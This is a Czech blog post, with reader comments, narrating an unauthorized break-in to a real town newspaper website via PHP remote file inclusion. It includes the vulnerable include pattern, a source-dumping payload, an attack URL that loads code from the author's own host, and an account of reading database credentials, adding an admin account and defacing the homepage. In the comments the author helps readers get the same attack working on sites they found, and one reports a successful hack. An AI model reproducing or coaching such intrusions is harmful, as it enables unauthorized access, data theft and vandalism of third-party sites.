me nikdy nenapadlo, ze je to az tak "jednoduche". hned du upravit svoji prvotinu co ted delam :)
Rumburské noviny hacknuty pomocí PHP injection
Tento článek vychází s dvoudenním zpožděním, aby měl autor webu čas opravit popisované bezpečnostní nedostatky.
Z dlouhé chvíle jsem zkusil najít web, který lze napadnout pomocí PHP injection, a během asi půl hodiny se mi to podařilo.
Postupně jsem získal zdrojový kód index.php a přístupové údaje k MySQL. Za chvíli jsem si už vytvořil vlastní administrátorský účet a vyvěsil na úvodní stránce stylové "Web hacknut".
Postup
Stránku jsem našel docela jednoduše díky fulltextovému vyhledávání na Seznamu (přesný dotaz ale radši neuvedu). Důležité bylo, aby měla stránka náchylnost k PHP injection, tedy, aby měla URL ve tvaru:
index.php?page=clanek&id_clanku=1592&id_rubrika=82a aby v kódu bylo něco takového:
include $page.'.php';Obě dvě podmínky byly splněny, takže jsem se zaradoval a šel na věc.
Nejprve jsem zkusil zadat místo clanek nesmyslný řetězec. Zobrazilo se toto:
Warning: main(bbb.php): failed to open stream: No such file or directory in /mnt/sdd1/www/pages/samosprava/murbk/noviny/index.php on line 83 Warning: main(bbb.php): failed to open stream: No such file or directory in /mnt/sdd1/www/pages/samosprava/murbk/noviny/index.php on line 83 Warning: main(): Failed opening 'bbb.php' for inclusion (include_path='.:/usr/lib/php:/usr/lib/php/libs/') in /mnt/sdd1/www/pages/samosprava/murbk/noviny/index.php on line 83Což znamená, že cesta k úspěchu je plně otevřená. Kdyby místo main(bbb.php) bylo na stránce napsáno main(./bbb.php), měl bych smůlu. Musel bych zjistit, na jakém hostingu web běží, zřídit si tam doménu a pokusit se o něco typu:
index.php?page=../../../mojedomena/skript&id_clanku=1592&id_rubrika=82Což by ale bylo dost složité a nákladné a možná by se to ani nepovedlo(pokud má hosting více serverů).
V tomto případě je to ale velice jednoduché. Jelikož je na serveru povolen i URL file-access, mohl jsem jednoduše naincludovat do index.php svůj vlastní skript a dostat tak plnou kontrolu nad webem.
Jediný problém byl v tom, abych se vyhl parsování svého skriptu PHPkem na straně svého hostingu. Pokud se totiž ve zdrojáku objeví include("http://domena/skript.php"), skript se před cestou mezi servery nejdříve prožene parserem prvního hostingu. Je to stejné jako když se do prohlížeče zadá cesta skriptu.
Jedním způsobem by bylo přejmenovat soubor na skript.txt. To ale není možné, protože ve zdrojovém kódu oběti je
include $page.'.php';
Zkusil jsem tedy druhý způsob. Aby výsledkem parsování skriptu byl PHP kód.
<?php echo '<?php show_source("./index.php"); ?>'; ?>
Příprava hotová, jde se na věc
Stačilo pak nahrát skript na svoji doménu a otevřít URL
http://rn.rumburk.cz/index.php?page=http://milde.cz/test&id_clanku=1592&id_rubrika=82
Ze zdrojáku index.php jsem si zjistil název souboru s přístupovými údaji k MySQL a zobrazil si ho.
Pak už jsem se připojil k databázi a zobrazil si tabulky.
Nejzajímavější je asi tabulka autori.
Ejhle! Přibyl jim tam právě jeden administrátor.
Cesta do administrace je tedy volná.
A je to tu. Úvodní stránka je hacknuta.
Pak jsem se podíval, kdo vlastně web napsal, a jaké má reference. Po krátkém zkoumání jsem našel tutéž chybu na dalším webu.
A XSS na dalším jeho výtvoru.
Na maily administrátorů jsem poté poslal upozornění na tuto chybu včetně screenshotů a opraveného souboru index.php.
Upozornění
Cílem útoku nebylo poškodit majitele nebo jeho majetek, ale upozornit na bezpečnostní rizika.
Tento článek jsem nepsal, aby sloužil jako návod k poškozování cizího majetku. Jeho úkolem je přiblížit problematiku bezpečnosti ve webových aplikacích.
evaluation
Komentáre
#1 jouzinka: Vždyť jsem byl na ně hodnej :)
#2 Sibep: JJ, PHP Injection je velmi jednoduché. Horší je to s XSS a SQL injection, to už chce trochu víc znalostí a cviku :)
Dundee poklona
Mno jo, tak to dopadá, když weby dělá každý druhý a rozumí tomu jak koza petrželi.
Hezky clanek Dundee, zatim jediny, kde se autor nevychlouba touto starou chybou =)
neříkal jsi náhodou že to necháš týden? Nebo už to je týden? :D
btw kde je článek o tom, že David už zase píše? :)
Počkal jsem jen dokud to neopravěj :)
No s tim Davidem bych to radši moc nevykřikoval, aby ho to chvilkový psaní nepřešlo...
Pokud změníš texty na webu - napíšeš na úvodní stránku HACKNUTO, tak IMHO poškodíš majitele webu i jeho majetek. A to je trestné. Upozornit je lze jinym (privatnim) kanalem.
Toto beru jen jako vychloubání začínajícího "hackera"
Myslím, že napsat na úvodní stránku "hacknuto", je běžná praxe. Majitel a jejich programátor to brali taky tak. Naopak mi ještě poděkovali.
BTW: Hned po útoku jsem jim poslal opravený skript...
Tak myslim, ze zas tak narocne nadnout stranky timto zpusobem neni zas az tak slozite. Na webu je toho mraky (navodu). Nic mene dekuji za upozorneni, pac jste me donutil to opravit. Nechal jsem to zatim bejt, protoze se stranky maj v nejblizsi dobe cele obmenit. Dale samozrejme dekuji ze jste nejak nezneuzil informace ktere jste timto ziskal. Ted si budu davat urcite vetsiho majzla:))
Jinak co se tyce toho XSS o kterem pisete tak nemuzu prijit porad na to co jste tim myslel. jestli jste zadal do vyhledavani pouze html tag nebo ten obrazek je vytvoren nejak jinak.
Todle by me opravdu zajimalo:))
#11 chosehero: Ano, tim XSS jsem myslel pouze to, ze nemate osetreny vystup u hledani. Tzn. ze se da na strance zobrazit jakykoliv HTML i JS kod, ktery strance podstrcite. Tato chyba je mnohem hure zneuzitelna, nez PHP injection, ale zneuzit se s trochou sikovnosti take da.
Viz napr. Sysel a jeho hack Zive.cz pomoci XSS.
Mě to prostě nejde udělal jsem si stránky 3. řádu a tam vložil script <?php echo '<?php show_source("./index.php"); ?>'; ?> no a pak jsem šel na nějaký stránky který jsem si našel aby odpovídali jak to popisuješ v bodě jedna no a tam do url zadal
http://www.neco.cz/index.php?page=tam sem napsal odkaz na svoje stránky
KDE SEM UDĚLAL CHYBU ???
Oslové, co puberta?
ja to php injektion zkousel taky.
nasel sem deravou stranku, nahral si show source na svuj web, upravil odkaz
a po odklepnuti se do stranky zobrazil zdroj meho indexu!!
zoho kde mam nahrane show source!!
nevis kde je chyba?
*zoho= z toho
#15 arnir: Problem je v tom, ze pokud nacitas svuj skript, ktery ma koncovku .php, tak se jeho obsah provede uz na strane tveho serveru. Proto musi byt vystupem toho skriptu chteny php kod.
Staci tedy to, co tam mas ted, dat cele do
echo 'soucasny kod';
aha
jako ze to mam udelat treba takto:
echo 'show_source("index.php")'
?
tedy jeste plus <?php
super
hacknul jsem svuj prvni web :)
takhle "nadalku" nelze pouzit funkci fopen, unlink a ani zadnou jinou se soubory ze ano?
me to nejde
#21 arnir: Nevim proc by to nemelo jit. Nedelas totiz nic nadalku. Ten tvuj soubor se normalne naincluduje jako by to byl lokalni skript a pak se spusti. Takze jakekoliv funkce dostupne na tom hostingu, jsou dostupne i tobe.
Zkouset funkce typu unlink ale razantne nedoporucuji. Tento clanek ma ukazat zajimave moznosti a upozornit na chyby, rozhodne ale nema navadet k poskozovani cizich dat.
zajímavé ;)image
Hergot, člověče, z tebe by člověk brzo dostal noční můry... Brrr. :D Jinak článek dobrej. ;)